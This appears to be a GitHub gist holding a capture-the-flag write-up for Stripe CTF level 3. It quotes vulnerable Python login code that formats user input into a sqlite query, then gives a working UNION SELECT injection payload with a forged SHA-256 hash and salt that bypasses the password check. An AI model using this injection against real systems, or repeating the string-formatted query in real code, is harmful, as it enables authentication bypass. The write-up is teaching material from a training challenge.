Skip to content

Instantly share code, notes, and snippets.

@bubba-h57
Created August 28, 2012 02:13
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bubba-h57/15eee9045b4bbcc6df18 to your computer and use it in GitHub Desktop.
Save bubba-h57/15eee9045b4bbcc6df18 to your computer and use it in GitHub Desktop.
Stripe CTF Level 3 - Solution SQL Injection
Ok, so let’s look at some important parts. We know it's sqlite3 again and how it is setup:
# CREATE TABLE users (
# id VARCHAR(255) PRIMARY KEY AUTOINCREMENT,
# username VARCHAR(255),
# password_hash VARCHAR(255),
# salt VARCHAR(255)
# );
And
query = """SELECT id, password_hash, salt FROM users
WHERE username = '{0}' LIMIT 1""".format(username)
cursor.execute(query)
res = cursor.fetchone()
if not res:
return "There's no such user {0}!\n".format(username)
user_id, password_hash, salt = res
calculated_hash = hashlib.sha256(password + salt)
if calculated_hash.hexdigest() != password_hash:
return "That's not the password for {0}!\n".format(username)
So we can see that the statement is using our supplied username, which has an SQL injection of course. They're selecting the id, password_hash, and salt from users where the username equals our input. Let’s load up our own sample database, make some test queries and, see what happens....
sqlite> insert into users values ("myid", "myusername", "0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60", "SUPER_SECRET_SALT");
sqlite> select id, password_hash, salt FROM users where username = 'myusername';
myid|0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60|SUPER_SECRET_SALT
So, let’s do a union select after and supply exactly what we would like back.
sqlite> select id, password_hash, salt FROM users where username = 'myusername' union select 'new id', 'new hash', 'new salt';
myid|0be64ae89ddd24e225434de95d501711339baeee18f009ba9b4369af27d30d60|SUPER_SECRET_SALT
new id|new hash|new salt
As you can see, by using a union select we can define in the content of the response. The 'new id', 'new hash', and 'new salt' was in our response. After looking at the code when it does the compare, we can see that it does a sha256(password + salt) and compares it to what was in the response for the sql statement.
Let's supply our own hash and compare them to each other!
>>> import hashlib
>>> print hashlib.sha256("lolpassword" + "lolsalt").hexdigest()
dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5
>>>
We just created our new sha256 hash with the salt 'lolsalt'; let's now submit our new hash injection into the SQL statement.
username: z'%20union%20select%20'1','dbb4061dc0dd72027d1c3a13b24f17b01fb163037211192c841a778fa2bba7d5','lolsalt
password:
lolpassword
The code will now take the password you submitted, hash it with the salt returned from the sql query, then compare it to the hash that was in the response (the salt and hashes that are in the response were the ones we supplied in our injection). This will lead to them matching and you receiving a message similar to this:
Welcome back! Your secret is: "The password to access level04 is: aZnRbEpSfX" (Log out)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment